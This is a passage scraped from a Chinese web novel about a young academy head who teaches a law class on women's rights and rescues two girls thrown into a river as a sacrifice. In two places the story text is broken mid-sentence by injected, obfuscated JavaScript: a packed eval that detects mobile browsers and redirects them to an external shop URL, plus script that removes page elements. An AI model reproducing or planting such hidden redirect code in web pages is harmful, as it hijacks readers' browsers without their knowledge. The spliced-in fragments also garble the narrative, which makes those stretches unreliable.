说实话,今天面对那么多的校问,林槐夏其实感到有些兴奋,多少年没有人考考她的学问了,她都不知道有没有退步。 那个学子家的门风还是不错的,那么多的长辈都能出两句题目进行考问,林槐夏难得体验了一把舌战群儒的快乐。 林清和有些头秃,做一个公务员真难啊,居然需要好多好多技能,他该上哪找到合格的老师? 没错,其实林清和提出的大多数技能都是现代公务员需要具备的,古代的官员其实不需要懂那么多的乱七八糟手艺技能。 目前书院四位先生的教学全部是科举方向,白相的算学胡宋明的墨义帖经,柏季同的诗赋以及刘野先生的策问。既没有生活类也没有生存类,还没有大光刑法,作为一个要当官的学子,怎么能不懂法。 林清和想想之前书院是包含有刑法,琴棋书画以及君子六艺的教学科目在的,现在人都被挖走。 考虑了一下,林清和果断将刑法交给自己上,他也不会武术,就让小四月去当武先生吧,练练学子的心胸气量。 驾车,驾车他也可以教,至于野外生存,他去找个资深的猎户,一时半会儿也找不到,先让厨房的人来教学子怎么生火做烤肉,辨别可以吃的野菜,好歹在去做官的路上遇到意外不至于饿死。 等学子们学会了,就让李大夫过来友情上几次课分辨受伤的时候找什么草药,怎么处理伤口。 其实还有好多的想法,林清和想想还是先把现在学子活动搞完在开始加课,不要把步子迈的太大,现在要人没人,要钱没钱的。 林清和可不是会把自己私房钱无私奉献的人。 要是小师弟在就好了,兄弟联手,天下无敌,还有人给他收拾房间。 从小时候林清和能独立生活后,他的房间不让林府下人动手收拾,也不让人进,领地意识很重,只能让家人进去,现在也一样,出门还不让下人跟着。 他的房间他想什么时候收拾就什么时候收拾,倒是白琅月不知道从什么时候开始就进他房间收拾得清清爽爽,以至于林清和已经习惯不时小师弟进出他的房间打扫卫生了。 “嘿嘿。”林清和突然笑出了声,吓了精神高度集中的林槐夏一跳。 “笨蛋哥哥,你笑什么!”直接上手拍了一下林清和的背,声音十分清脆。 “哎哟,你轻点!”林清和摸摸自己的背,可恶,好大的力气,练了武的女生力气都这么大吗,早知道他当初要死要活求着练了,也不至于现在连妹妹都打不过。 真丢人。林清和在心里唾弃自己。 “之前我们不是聊过书院的开的科目太少了吗,有好多课都没人上,想着我把刑法课上了,小四月你去顶一下武先生,一定能让学子丰富学识和强健体魄。”林清和连忙解释。 他还笑着说道:“等家访活动结束之后安排上驾车,医术和野外厨艺等课程,到时候青山书院去游学就能减少行李出门了。” 林槐夏点点头,幽幽说道:“原来哥哥你是想着书院,我还以为你想着小师兄白琅月那厮,你说他做,搅个天翻地覆。” 小时候的哥哥不知道有多少种奇思妙想,光是说出来就令人心驰神往,引人垂涎,更别说哥哥还做出来了。 说哥哥是笨蛋,那是因为他在读书上的天分比她和白琅月少。 就比如说,在造纸术还掌握在世家大族的手里时,他已经带着白琅月做出来了还改进了一波,做出了印刷术,两人在府里印出诗词撒着玩,爹爹当时都快被吓死了,生怕不小心被人盯上,直接上书辞官回来开书院,勒令哥哥不能再捣鼓这些稀奇古怪的玩意儿。 这也是为什么青山书院能那么快崛起的原因,全靠了印刷术才有大量的书籍和卷子出产。 “没有的事,你别多想,你搞完你的事就赶紧去家访,争取在下次旬休前完成。我去找先生们排一下课。”林清和说完,一溜烟的跑了。 以前年纪小不懂得大光王朝的局势,还以为文风颇盛,造纸术印刷术都有,所以才动手做出来,没想到阴沟里翻船了,老头子本来在当时就被敌对政党盯着一举一动,仕途不顺,这下可好,直接被打包回老家开书院做教书先生。 搞得林清和之后根本不敢做出点什么东西,生怕小命没了,想他堂堂一个理科生 说起来对老头子的愧疚也是有那么一点的,但是全消耗在了科举里。 可怜的父子情,没两年就散了。 走远了,林清和才拍拍胸口,差一点搞事又要被告状了,书院的改革希望不要搞出太大的风头。 林清和边走边想,要不要找人散布消息说青山书院痴心妄想一心决定要培养做官的学子,每个从青山书院出来的学子都保证能一定做上官,吹吹风,让大家不以为意,慢慢发展。 殊不知,家访的事情一出,以江缘书院为首的定江县书院诗会上,已经有人开始在嘲笑青山书院为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133437|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了挽留学子不惜自降身份让先生亲自登门拜访。 他们猜测,这青山书院剩下的,为数不多的先生不日也会离开。先生离开了,剩下的学子由一个春闱失利三次的举人教学也翻不出什么浪。 有的书院还看到林槐夏出入,一并耻笑,书院什么时候连女子也能出入了,成何体统,甚至发出隐晦的笑声。 定江县书院诗会一开,有关于青山书院的负面消息在学子间流传的就更加广泛了。 但民间对青山书院的看法却有了改观,谁不想自家孩子到了书院成为教书先生的心头宝,先生重视的学生。 青山书院的名声从此开始了两极分化。 胡先生和白先生还在讲学,林清和也不打扰,先去马场那边和胡马头安排下一次的武课,武先生由副院长林槐夏顶替。 胡马头迟疑,“林小姐?”一个女娃仔能做好武先生吗,他就从来没见过女娃仔当武先生的。 林清和从容解释,副院长能文能武,一个小小的武先生她还是能做得,要是胡马头不放心就去当副院长的助手,课上保护学子安全。 胡马头自从来他们家就一直住在书院这边也不怪他不知道,林槐夏从小习武,骑马射箭的功夫可能比胡马头还好。 别想了,再想想林清和眼馋的口水就要从眼睛里流出来了。 等下午的课结束,林清和已经在先生院里坐着等两位先生了,和先生们大概说了一下他的安排。 胡先生觉得不用着急,可以等家访结束后再一起开始这些科目。 今天下午胡先生去上课时就发现学子的状态大多不对,心里惦念着家访的事情,抽出来背诵的学子支支吾吾,不知所言,狠狠在课上骂了一通才好转。 “现在家访这点小事就让他们心神不宁,坐立不安,那科举结束等放榜的日子岂不是吃不下睡不好,青山书院的学子没有一个好的心态可不行。”林清和对学子的心态表示唾弃。 现代教育的手法比家访厉害的手段还有好多,家长和老师随时联系,老师喊家长来学校看你上课,刺不刺-激,惊不惊喜。 “这才第一届家访,后面还有好多届呢,哪能不上课。讲学时多多让学子回答问题,这样就没心思想着家访了。”林清和皱着眉头说道。 胡先生沉默,思考了一会,想想看确实是这个理,才开始就纵容学子,放松学子的课业,确实对学子不好,于是开口同意。 白相点头同意,学习如逆水行舟,不进则退。 林清和该交代的都交代了,见没啥事就准备走了,刚跨出门口就被一脸不好意思的白相喊住了。 “林院长,我想问下如果学子问起家访进度该怎么回答他们,我今天答也不是,不答也不是,怪叫人为难的。”白相眼神闪躲,他年纪比小林院长还大呢,事情还得问人才能解决,还挺不好意思。 “这个啊。”林清和一听这个眼神都亮起来了,“我跟你们说啊,可以这样搞,他们讲学的时候不认真就开始抽签,先叫个学子起来回答问题,回答不出来让那个学子自己抽签,这个签可以是家访的问题,也可以是家访时发生的事情,先生们可以自己决定放什么签进去。” “说完一个签就让学子们猜猜这是去的哪一家,猜不中就课业加倍,这样既满足的其他学子的好奇心,也让回答不出问题的学子得到了惩罚。抽签只是一个形式,先生们还可以想想其他有趣的形式不经意的透露家访消息,比如说,下一次去的是哪个学子家,刘先生去了哪家诸如此类。” 林清和眯着眼睛,笑得一脸快意,上课不专心听课就是这个下场,这只是一个小小的开胃菜,你们还没见识过一对一小课堂那才叫可怕,不能走神,不能不会。 白相恍然大悟,“这个挺好,变相的提高了学子承受的能力,讲学时也不会不专心了。” 连胡先生在一旁也频频点头。 13. 第 13 章 一连好几天,林清和都在忙家访的事情,刑法课被胡先生根据之前的排课表适时排入在今天。 林清和琢磨着上完今天的课后,他有两天的休息时间,这样正好,可以去最后一个学子家中。 那位学子的家中远在定江县边缘临江的一个小村子—秋家村,贫穷又愚昧。 正好今天也可以借着刑法课仔细观察一下秋宜年对大光律法的了解和某些事情上的见解。 下午的上课时间一到,林清和就准时踏入了乙班的房间内。 室内窗口四面大开,微风花香流入,明净亮堂。 “这几天想必大家都见过了,我是前任书院院长之子,也是现任院长,林清和。从今天开始暂代各位学子的刑法课。”林清和一踏入室内,望着座下神色各异的学子就开始自我介绍。 “有哪位学子知道此前刑法课的进度讲到哪里了吗?”林清和的上课态度主打一个笑若春风,随性不羁。 在大光王朝之前,律法不做单独一门进行教导,而是由学子独自进行自学。但是自从女帝的暗访-民间开始,才发现百姓大多不知法,不懂法,被上层富户肆意掳掠,朝廷还背上了一口大黑锅。 究其原因,百姓能认字的人太少,而皇帝底下的官员联合当地氏族对律法阳奉阴违,未能将律法严格实施。 故而,女帝即位时,首先发布的一项诏令便是将律法纳入科考,从考秀才开始,同时大力兴办县学,官学,不再阻止民间举办时政策问的言论自由。 台下学子面面相觑,林院长的年纪也就比他们大个几岁,而且看着笑眯眯的样子,脾气很好,真的考上举人了吗? “上次的刑法讲到了女户及其相关律法。”秋宜年不大的声音掉落在课堂上,还有着少年人嗓音变声期独有的暗哑。 哦,这还挺有意思的,女户。林清和含笑点点头,“诸位学子可有关心过家中姐妹?” 左丘栾简直一脸懵逼,怎么话题转变的这么快,他家就他一个人独生子,哪里来的姐妹,这让他不知道该怎么跟上林清和的讲学思路。 “唔,想到诸位学子中可能还有独生子的情况,那么想想自己的娘亲或者其他女性长辈,她们成亲后的日子过得如何?” 林清和望向一脸稚嫩的众学子,还是小孩子啊,就已经在学习研究怎么根据情况公平判案了。 “我的课可能和之前教导的你们的刑法先生不太一样。之前的先生可能会给你们一个刑法案例,让你们详细思考讨论,为什么要这么判案。” “我的话可能更加倾向于为什么会后有这条律法或者说是刑法的诞生,以及它背后有什么样的故事,它能给我们,给现在带来什么的改变。” 每一条律法的增删减改,都是通过一件件真实案例来的血泪教训,最大程度上保护了受害人的权益,震慑不法犯罪分子。 可惜,人心难测,法律修改增加的再快,也比不上某些人钻漏洞的本事。 更别提,此时的普法还是存在于知识分子中间,更多的调解判决是由宗法氏族,村老进行。 在村民眼中,女子犯错本就是大罪,宗法族规手段严苛,经受不住的女子一死了之,侥幸活下来的女子不是活在世人唾弃的眼光里,就是疯了。 “先生为何这样问,我家中姐妹都过得很好啊,想做什么做什么,自由的很,从来不见她们有抱怨任何怨言。”一学子踊跃发言。 “还有其他的想法没?”林清和的目光继续逡巡在室内学子的脸上。 “是这样没错的,衣食住行样样不愁,平日里想去那里玩就可以带着婆子丫鬟出门,不像我等就只能在书院刻苦学习。” 此话一出,不少学子附和称是,觉得自己的姐姐妹妹们过得好不潇洒快意。 左丘栾隐隐感觉到有些不对,在他看来,他的娘亲左夫人,是很辛苦的撑起这个家。 每年送进府的账本就有好几箱,其中包含了左府的账本,定江县的产业账本和左老爷在外行商的账本。 每次光是核算就要好几个人帮着算好几天,以防有掌柜的联合账房先生篡改账本。 左丘栾现在依旧记得泛黄烛火下,娘亲拧着细眉一笔笔核算账本的样子。 秋宜年的心里不是滋味,原来富家千金的生活是这般多姿多彩,想起远在秋家村田地耕作的秋家姐妹,心里更加不好受了。 之所以秋宜年现在还能在青山书院里稳稳坐着,无外乎是因为书院里设有的小考头名奖励,以及对家贫学子的束脩的减免。 所以秋宜年来青山书院进学考举人,不仅没有花半分钱,还薅了书院的羊毛,送回家养家。也不是没有人来怂恿他去别的书院,因为在青山书院不花钱还能赚点银钱拿回家,秋宜年果断拒绝了。 可惜,这么点银钱送回家也是杯水车薪,一大家子还是勒紧裤腰带,苦巴巴的过日子。 “那……如果可以,你们愿意和家中姐妹交换身份吗?”林清和在学子们讨论的火热的时候冷不丁问上一句。 学子的声音顿时就没了,静静的,满脸震惊的看着讲学的林清和。 你在说什么?换是不可能换的! 林清和挑起眉头,目光兴味盎然,“原来你们也是清楚作为女子的不易的,只是司空见惯,便也不把这回事当作事了,甚至开始攀附对比。” “没……没……没有……”有学子在底下嗫嚅道。 “先生也是男子,为何这么帮着女子说话,难道先生就没有享受到男子的权益了吗?”一学子受不了底下沉闷的氛围,站起来与林清和对峙。 呵!秋宜年嘴角掀起一抹嗤之以鼻的冷笑,好一个享受,这些富家子弟根本不懂这所谓的享受,源自无数女子的血与肉,泪与痛。 “就是因为我享受到了,所以,先生我,深感不配。” “所以此时此刻,站在这里向你们阐述如如何保全女性的利益。这里的女性,是指我们同胞的姐妹,我们的娘亲,我们的妻子,一切和我们有着千丝万缕关系的女性。”林清和言语从容,带着两三分笑意。 口中的话语却如利剑刺向那起立的学子。 林清和也没叫那位脸色涨的通红的学子坐下,只是开口继续说道:“我们从哪里来呢,我们从娘亲的肚子里爬出来的,没有娘亲,我们什么也不是。” “娘亲在成为娘亲之前也是一个活生生的人,你们看看府中的姐妹,哪个不是聪慧过人,巧笑嫣然,天真烂漫。你们应该多想想,现如今没有哪条律法说明女子不得经商科考,她们甚至还比你们多了一条路,直达天听的女官制度。” “你们能来青山书院念书,源头上是你们的双亲受世俗礼法的困境,认为男子就应该这么做,女子只能在家中煮雪烹茶,相夫教子。” “最重要的一点,女子若是不在乎世俗的眼光来科考,哪里还有你们的事。”林清和微笑着结束,“那位学子坐下吧。” “呵!女子科考,她们连书院的门都进不来,科考什么?换做以前她们别说出门了,一生都只能待在自己的院子里!”有的学子破大防,直接大声喊道。 “啊……看来这就是女户这些律法给我们现在带来的影响了,十分感谢这位学子的分享。”林清和弯着一双凤眸,温和笑道。 这岂不是连农家子女都不如,一辈子只能呆在自己的院子里,哪里也去不得,这哪里是做女儿的,分明是圈养待宰的牲畜。秋宜年大惊,他不能想象一直不出门会是什么光景。 如同笼中鸟儿,短暂的幸福过后,郁郁离世。 “这样,先生我交给你们一项课业,在旬休的时候完成,结合女户律法谈谈自己的感想。这个课业名字就叫做,我与姐妹交换生活的一天。” “记住,交换是指交换身份,包括你们身上的服饰,平日里的下人,面容妆发,日常都在做些什么。” “为了保证真实性,先生我会随机去某些学子府上登门拜访,是否真的按要求完成课业。” 嘻嘻,林清和在心里默默笑出声,面上依旧巍然不动,怡然自得。 他的眼尾不时扫向秋宜年,发现并没有什么大问题,提出的课业内容也很好的接收到,神情并没有不满,不是那等迂腐之人。 学子们交头接耳地讨 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“说完了,这一项课业就这么定下了,下次旬休结束按时上交课业。” “接下来,我们继续,有哪位学子知道有关于女户的律法是怎么诞生的,哪一位开创了女子保护条例,基于当时的情况,为什么女户律法能顺利实施?” 林清和嗓音徐徐,不带任何锐气,目光平和流转在众学子间。 由于是第一堂课,林清和不好太打击学子地气焰,只是轻轻掐了一下,免得以后有什么想法都不敢说,这可不利于课堂氛围的活跃。 今天有关于女户律法的探讨,林清和希望能在这些学子心中留下痕迹,不要做个麻木不仁,不知世事的得益者。 乙班上大多数是已经考过秀才的学生,脑子还是很好使的,有部分人明白林清和的用意,也有人自甘束缚双眼,视而不见。 “铛铛。” 下课钟声响起。 绚烂的晚霞大片大片涌入天空,橘红橙紫赤黄,铺天盖地。 林清和就伴着这样美好的晚霞归家。 “你们说,林院长第一堂刑法课讲得怎么样,我们真的要去搞那个课业吗?”一学子兴致勃勃地问道。 “我看这个林清和的举人身份怕是假的!哪有人这么讲学,往常负责刑法课的先生都不像这位林院长一样,哗众取宠罢了。” “就是就是,提出的想法看法离经叛道,古往今来哪有女子下场科考的。” “我倒觉着,林院长讲的不错,深入浅出。只有明白了这条律法因何诞生,我们以后在做官时判案,不就更加得心应手了。” “你们家中是没有姐妹,还是没有娘亲?没有娘亲,哪里来的我们。” “左右不过是交换一日,你们怕什么!” “就是着裙装,着实让人难为情,万一被其他书院学子看到怎么办?” …… 林清和就着烛光,提笔给白琅月回信。 话说那日,林清和刚给白琅月邮寄回信过去,新的书信又到了,林清和忙于家访活动,没什么空闲时间回信。 今夜月光清亮,烛火幽幽,吃完晚饭后,还有段时间,林清和抓紧时间给白琅月回信。 白琅月来的第二封信上没写什么要紧的事情,主要表达的是为什么小师兄还没有回复他的书信,是不是关禁闭连书信都不能回了。 后面一大段都是表达小师兄受苦了,早知道他就不该去考状元,亲自调查他爹的死因,继承他爹的遗志,为大光抛头颅,洒热血。 他应该留下来好好照顾生活不能自理的小师兄。 林清和看着白琅月的信被逗得眼泪都出来了,怎么没有及时回信连这样黏人的一面都出来了。 林清和还记得小时候的白琅月,软软糯糯,说什么信什么,关键还经常端着一张肉嘟嘟的小脸,故作大人模样。 把他教的话一字一句学了个遍,小手还紧紧攥着他的衣角,不肯放开,黏人得紧。 14. 第 14 章 远在光都的白琅月此时正在翰林院中上值,做些抄写孤本古籍的活儿。 他一边摘抄,一边心里想着寄回去的书信何时能收到回信。距离小师兄回去已经有好几日了,他可是在小师兄回去的第二日就写上书信,寄回去。 白琅月忧心忡忡的想着,该不会是师父太生气了,小师兄又不顺着师父,时至今日还在屋子里不得出门吧? 不行,还得写一封信回去,催催小师兄怎么还不回信,师父看在他考上了状元的面子上,怎么说也得让小师兄回一封信。 这么想着,白琅月将正在抄写的孤本做好记号,已经摘抄的部分放到一旁晾晒,而后迅速抽出一张崭新的宣纸充当信纸,开始洋洋洒洒。 次日,白琅月便收到了来自他小师兄林清和的回信。 信中描述大概是说,回来定江县之后,事情变得很不一样,但他已经作为书院院长接手了青山书院,突发了一些奇想,改变学子的进学模式,还说了一些关于书院学子的趣事,又详细说了家访和书院变革事宜。 随信而来的还有一份调查问卷,白琅月将问卷打开,又细细一字一句斟酌着,小师兄在信中畅想的全新书院改革制度。 “果然,小师兄的想法总是会在不知道的时候,给我一个惊喜。这个若是在大光全面开设,那些世家大族还有什么能够叫嚣。” 白琅月低低笑出声,晦暗的光影里,往日深情潋滟的桃花眼闪过一丝赤红。 那人,偷天换日,白白享受了那么久的好日子,是时候该下去了。 白琅月拿着林清和给的调查问卷,贴身放好,准备在离开光都之前找机会再见一次皇帝。 他已经想到该怎么瓦解被世家大族拿捏住的朝廷命脉了。 * 一架驴车悠悠晃晃的在乡间小路上行驶,林清和叼着一根翠绿的茎叶,眯着眼仰躺在驴车板板上。 这辆驴车是林清和从车马行里租来的,租了两天,花了他不少的银钱,林清和打算统统记账在书院的账本上,还有其他人的也是,出差怎么能自己垫付不报销呢。 为了不疲劳驾驶,他还在车马行找了个有经验的车夫,车夫熟知定江县大部分村子怎么走,怎么去秋家村。 路上两人轮换着赶车,林清和还要包揽车夫的三餐,在一片苍青湛蓝之中用餐,也怪有意思的,风中还带着泥土与根茎混合的味道。 “王大伯,还有多久才能到秋家村啊?”林清和曲起左腿,伸手遮挡住天上的太阳,在他的脸上落下不规则的阴影。 “林先生,还早着哇!太阳刚刚升起一个半时辰,这要到秋家村得到下午嘞!”王车夫驾着驴车,大声回复林清和的问题。 “那行,王大伯,你累了换我赶车。”林清和利落回答。 “好!”王车夫没见过哪个书院先生,哪个读书人这么好讲话,还和你一个车夫轮流换着赶车,想都不敢想。 这青山书院的林先生人还挺好的,待人也随和,没那读书人的清高气儿。 林清和默默闭上眼睛,心中叹了一口气,天还没亮呢,这位王大伯就已经在林府门口边上候着了,告诉他不现在这个时候出城门,晚上之前到不了秋家村。 黑漆漆的夜色里,伸手不见五指,不时有公鸡的鸣叫声,马儿的晌鼻,流浪野犬的汪汪大叫。 身在古代,今天也尝到了超长通勤路线,赶早八的滋味呢。 林清和就这样不时和王车夫轮换赶车,从黑夜至天光大亮,屁-股都要坐成八瓣,震麻了,才赶了一半的路。 真的很怀念现代快捷方便,形式多样的交通工具。 人家都是想致富,先修路,怎么到他这就是为了家访不得不把这个坑坑洼洼的路想办法解决呢。 林清和琢磨着,怎么样才能把简约版水泥做出来,然后挂个青山书院指导的名头,让学子自己启发自己,做出进阶版水泥。 为了科举,为了家族,为了家乡,林清和相信青山学子们一定会做出来的。 林清和默默的在青山学子的课程表上又安排了一门水泥制作。 未来干净无尘,建造快速,马车不震的水泥大道就靠你们了。 周围的树荫愈发密集,浅浅的青绿慢慢变冷,树缝间还可透出江河流动的银光。 看见了江就意味着差不多快要到秋家村的地界。 林清和看着时间差不多,起来和王车夫换着赶车,他按着王车夫指的方向驾车前行,穿过这片密集的林子,远远地看见一群人站在江边,吹吹打打不知在做什么。 江边老树上绑着不少褪色的红绸,随风猎猎作响,漫天飞舞,显得暗沉沉的人群中两点猩红格外渺小。 “那边是在做什么?是在祭祀河神吗?”林清和好奇的问道。 人们通常对自己不了解的事物暗自感到畏惧,近年来江水泛滥,各地临江的村镇纷纷重启了对河神或龙王的祭祀。祭祀往往寄托着百姓朴素的愿望,只求来年风调雨顺,过一个好年。 “林先生也知道河神祭祀?”王车夫的眼睛噌的一下就亮起来了,开始滔滔不绝对林清和说起各村祭祀河神的风俗。 “就说我们要去的秋家村,那里是最靠近定江边的村子,每年定江都会淹死几个人,所以村子每年都会定时举行河神祭祀,来祈求来年平平安安,风调雨顺。” “不举办祭祀没办法啊,一不举办就有人淹死,都说是河神寂寞想要人来说说话。”王车夫面露不忍,手里不住的揉搓着驴车上的稻草干。 王车夫家原本也是在临江的一个小村子里,小时候发大水那年,目睹了村里族老为了平息河神的怒火,要求每家各出一个未出阁的闺女供奉给河神。 那天夜里家家户户的灯亮了大半,呜呜噎噎的哭声盘旋在村子上空。他的姐姐第二天就穿上了一身簇新的红衣,眼睛红肿。他还清楚地记得,那是姐姐满心欢喜地说,这是成亲时要穿的嫁衣。 姐姐和其他没嫁人的姐姐妹妹们一身火红嫁衣,一起被绑着站在了供台桌上,神情木然。台下的人不敢抬头看,沉默中,耳边只有族老一声声的祭祀流程。 姐姐被绑着石头推进波涛汹涌的定江,干红着眼回望沉默似羔羊的人群。 姐姐走了,定江的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133439|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有停,村里人都说是祭品不够好,要再次供奉。 王车夫的爹娘带着剩下的孩子跑了,至今也不知最后到底供奉上没有。 姐姐回头的那一眼,王车夫至今不敢忘记。 “定江发大水是因为当时的县令没有做好河道防汛,河堤筑坝,不是因为什么河神发怒。若是当年的县令有半分心思放在临江防汛事务上,也不至于出现河神祭祀。”林清和嗓音轻轻,耐心缓慢的解释。 “据说当时的县令中饱私囊,将修建江堤的银钱入了自己的荷包,直到定江河水泛滥成灾,冲破堤坝,造成好几个临江村镇的伤亡,才爆出此事。” “原来是这样的么……”王车夫怔怔愣神,原来他姐姐原本可以不用死的。 林清和也不恼王车夫的走神,只轻快的赶着驴车往秋家村去。 只是离那群站在江边祭祀河神的百姓越来越近。 近了,林清和才发现,那两点猩红的身影竟然是两个不足十岁的小女孩。 无端的,林清和胸口勃发出一股怒气,他深知他无力改变这个封建的时代,只是看见还是忍不住想要出手。 可是,他知道,现在没了这两个小女孩,还会有顶替这两个小女孩的女孩出现,说不定还会被祭祀的百姓痛打一顿,以后再也不能踏入这个村子半步。 林清和嘱咐王车夫将驴车赶到江边一旁隐蔽的大石头处,没有他的命令不准出来。 “林先生,你是想……”王车夫惊讶于林清和不惧鬼神的大胆,虽然他不满人祭,但也只是在心里不满,不敢有所行动。 “放心,我不和村民起冲突,你在此处接好人,躲好别让来祭祀的村民发现你。” 林清和肆意一笑,脱下身上碍事的书生长袍,只余一条亵裤,赤条条的跳进定江中。 幸好今日风和日丽,江面无风也无浪,定江底下暗流不多。 林清和选定的地方是在村民祭祀的有一段距离的下游,足够让林清和不迷失方向,顺利找到那两个被投江的小女孩。 王车夫眼睁睁看着林清和一跃而下,他说不出什么话阻止,只能焦急又心慌的在驴车上等待,还不时看向远处祭祀的人群,希望没有人发现此处的猫腻。 祭祀的村民七手八脚麻利的收拾好带来的供桌,香烛,碗筷等物品,王车夫望向平静的江面,毫无波澜。 时间都过了好久,怎么半点动静也没有,林先生是不是…… 左车夫一边不安的想着,一边看着祭祀的村民隔着树林,一路敲敲打打路过他的身前。 不得不说,林清和选了个好地方,相隔五六米的地方,那么多人硬是没一个发现王车夫。 “林先生哇林先生,他们人都走了,你怎么还没上来,这叫老汉我回去该怎么交代!”左车夫跪坐在江边无力哭喊。 林先生可是青山书院的院长,还是个功名在身的举人,他怎么就一时鬼迷了心窍让林举人跳了下去,再怎么,也是他王老汉跳下去救人啊! 这以后该如何是好,他还有一家老小在定江县内讨生活,万一被扣上了谋害举人的罪名可怎么办! 15. 第 15 章 “哗啦!” “哗啦!” 林清和从江面破水而出,王车夫朦胧的泪眼里,看见林清和手里反抱着两个红衣孩子,赶紧起身,小跑向江边接应林清和。 “给,小心。”林清和将昏迷的小女孩递给王车夫,自己趴在岸边,大半个身子浸在江里,大口喘着气,没什么力气爬上岸。 王车夫把女孩安置在一块平坦的地面上,又回头看看林清和,“接下来该怎么做,林先生?” 刚才他放的时候小心探了女孩们的鼻息,都还有气儿在,起码没有白费林举人的功夫,王车夫的心也放下一大半。 见林清和趴在岸边,没回话,王车夫连忙起身过去拉林清和从江里出来。 这林先生看着瘦弱,实际上还是挺沉的,拉上来,费力气。 “谢谢王大伯。”林清和狼狈起身,向王车夫道谢,说着就向着刚才那两个小女孩的方向走过去。 王车夫粗喘着气摇头,摆摆手。 林清和掰开俩小女孩的嘴巴,清除口中的秽物,脑袋贴到她们的胸口,幸好还有心跳,立马将其中一个女孩侧卧,另外一个开始做起心肺复苏。 林清和一下下数着节拍,终于小女孩从呛出江水,他来不及和这个小女孩说些什么,就即刻开始为另一个仍在昏迷的女孩做起了心肺复苏。 好在第一个女孩所花费的时间很短,只有做了大概两三分钟就醒过来了,林清和心里很庆幸,但他丝毫不能松懈下一位的救治。 王车夫都惊呆了,林先生这是在做什么奇奇怪怪的动作,河神不收这两女娃娃就已经是天大的好事了,怎么,林先生还要对这两女娃做这种事情? 但随着第一个女孩的快速苏醒,王车夫才明白,林清和不是在什么奇怪的事情,而是在用一种古怪的方法救人。 往常从江中河边救出来的人,没有昏迷就是能继续活下去,昏迷了有脉搏有心跳,那就是听天由命。运气好一点,一两天就自己咳水醒过来,运气不好拖个三四天,自己就先走了。 “呜啊啊啊……”那女孩醒过来以后,还没适应眼前的场景,张口就哭出了声。 林清和心无旁骛,默默数着拍子,心中期盼着这个女孩一定要醒过来,充耳不闻旁边女孩撕心裂肺的哭声。 王车夫见状,没有上前,只是喃喃说着:“哭吧哭吧,哭出来就好了,以后跟着林先生有口饭吃,再也不用担心了,也没有祭祀了。” 他姐姐怎么就没有遇上像林先生一样的好人呢? “咳咳!”林清和手下的身躯终于有了反应,剧烈的咳出声。 林清和往后一倒,手掌胡乱抹了一把不知是汗还是水的脸庞,胸口微震,真是太好了,救下了两朵未成长的花骨朵儿。 水珠顺着林清和的眼角滑过,没入黑色的发丝。 秋大花从黑暗中醒来,模糊的意识到有人在她身上不断按压,似乎要把她肚子里的水都要从喉咙里按出来。 水流顺着喉管,不断冲击着,秋大花喉咙泛起阵阵痒意,无意识地开始咳嗽,一发不可收拾,身躯强烈随着咳嗽颤抖。 定江的水被她一声声咳出,眼角沁出泪花,耳朵里被水隔开的声音也逐渐变得清晰。 秋小湖尖锐的哭喊,中年男子的喃喃自语,年轻男子低哑畅快的笑声。 秋大花捂着自己的喉咙,断断续续的咳着,她怎么记着她已经被献祭给定江河神,扔下江里了,这是有人救她上岸了,他难道不怕河神老爷责罚吗? “咳……别哭了……咳咳……”秋大花受不了耳边的吵闹,嘶哑着嗓子说道。 哭喊声仍未停止,好似要把今生今世的泪水都哭干了就舍得停下。 秋大花拖着疲软无力的身体朝秋小湖滚去,一巴掌糊在秋小湖的嘴巴上,世界终于清静下来,只余江水淙淙流过的声响。 秋小湖眨巴着被泪水洗刷的透亮的黑眼睛,被秋大花捂住的嘴不住的抽抽噎噎。 林清和躺了一会儿,恢复力气后起身走到驴车边上捡起衣服,准备找个背着小姑娘视线的位置换上。 “王大伯,回神了,升堆火给我们烤烤,暖暖身子。拿点水和干粮出来给她们,正好我们一起吃中午饭。”林清和走到大石头背后朝王车夫扬声道。 “诶诶,好的,林先生。”我滴个乖乖,两个小女娃都醒过来了,菩萨保佑,菩萨保佑。 作为一个有经验的车夫,生火对于王车夫来说只是一件小事,他干净俐落地架起火堆,做好隔离带,燃起火堆,招呼着俩小女孩过来烤火,烘烘身上的湿衣服。 而后又按照林清和的吩咐,拿出水和干粮分给两个女孩。 林清和也将自己收拾妥当了,手上拎着一条湿哒哒的亵裤,信步而出,“王大伯,有多余的树杈没,我烤烤裤子。” “有有有,林先生把裤子给老汉。”王车夫真受不得一个君子如玉样的读书人手上拿着不合时宜的东西,眼睛受不了。 “没事,我自己来,我自己的衣服,不必麻烦王大伯。”林清和从王车夫身旁的树杈堆里随手拿出一根,将自己的裤衩子搭上去,放在火上烘烤。 林清和见着两个小女孩小动物似地缩在一起,浑身湿淋淋的,一个间断性咳嗽,一个被捂住嘴巴还在不断呜咽,怀里还紧紧抱着王车夫递过去的水壶和干粮。 “还记得自己叫什么名字,发生什么事情了吗?”林清和转动着树杈的方向好让裤子受热均匀,干得更快些。 秋大花挣扎着起身,一双眼睛亮亮的,嘶哑着嗓子回答:“回恩人话,我叫秋大花,咳咳……是秋家村的,今日是被供奉给河神老爷,咳咳咳……祈求来年风调雨顺,保平安。” “我……我叫做秋小湖,村里的娘娘说,嫁给河神老爷就不用饿肚子了。”秋小湖细细的童音也跟着响起,带着浓浓的哭腔。 “嗯,你们把湿衣服的外衣脱下来烤一烤,王大伯帮她们 